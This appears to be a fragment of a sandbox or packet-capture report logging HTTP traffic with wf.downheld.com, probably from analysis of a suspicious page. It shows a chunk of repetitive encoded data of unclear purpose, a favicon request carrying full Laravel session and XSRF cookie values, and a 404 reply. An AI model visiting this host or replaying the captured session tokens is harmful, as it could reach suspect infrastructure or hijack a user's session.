2025-04-01 16:22:50 UTC	1369	IN	Data Raw: 37 66 63 32 0d 0a 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 Data Ascii: 7fc2FpOOFpO++oOOFpO++oO++oOOFpO++oOOFpOOFpO++oO++oO++oO++oO++oO++oOOFpO++oOOFpO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOF

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:51 UTC	1323	OUT	GET /favicon.ico HTTP/1.1 Host: wf.downheld.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://wf.downheld.com/Te2y0P/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im5NdzhzZnREWTdMRWR1ZmdTTHFYUFE9PSIsInZhbHVlIjoiQVZkOGJidVhWSmZZaVM1ckY1NnJ5OGNpdDd4bkdld0FIcUUvVW10OGpWZFM4TFlyUHVMY2RjK3FtdWJ5NDVzaGJtZWg3ZkQ2a0dJem1lMTkrM3Bsb0g1eGUvU0RYTU9hZ3pyNWR4V09lSkRlOU9hM1Fsc1AvZnNldndsS1dmY1MiLCJtYWMiOiIxNjQ3YTBkMDljZDRiMDZiMDAzMTMzZjgwZTNhM2IzZjkzOGFiMGY3NDZiN2M3ZDdjMDRmMjVjZWFiMDJiNzEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJHN0lzSnJvSC9GZW80c1MrRXBNMUE9PSIsInZhbHVlIjoiQzhyWnJGandkaU1aU1hKb0twQW9iRGUrMmE4QWhYd3RRQjBMMzNSeXRVYUIvYWhmWnZOTVpHRXZDV3pCemp0RUQwRnRBaG9KeFVHRGpRSzd1dWZadkh4WmxsOXhvM01IaUQ0MElqODlGSGJZMVVsbnZSelltLzRZVjZETU55eWgiLCJtYWMiOiIwNmIwZmYyNDBiNzM4ZGY5ZmZiYmQzOWNhZDU4ZGNhZjQ2ZmYyMzBmMzgxYTIxNjI2YTZmMGI2ZjMyMDA5OTVhIiwidGFnIjoiIn0%3D
2025-04-01 16:22:51 UTC	293	IN	HTTP/1.1 404 Not Found Date: Tue, 01 Apr 2025 16:22:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=86400 Cf-Cache-Status: HIT Age: 6998 CF-RAY: 92996d79da2f0f7d-EWR
2025-04-01 16:22:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0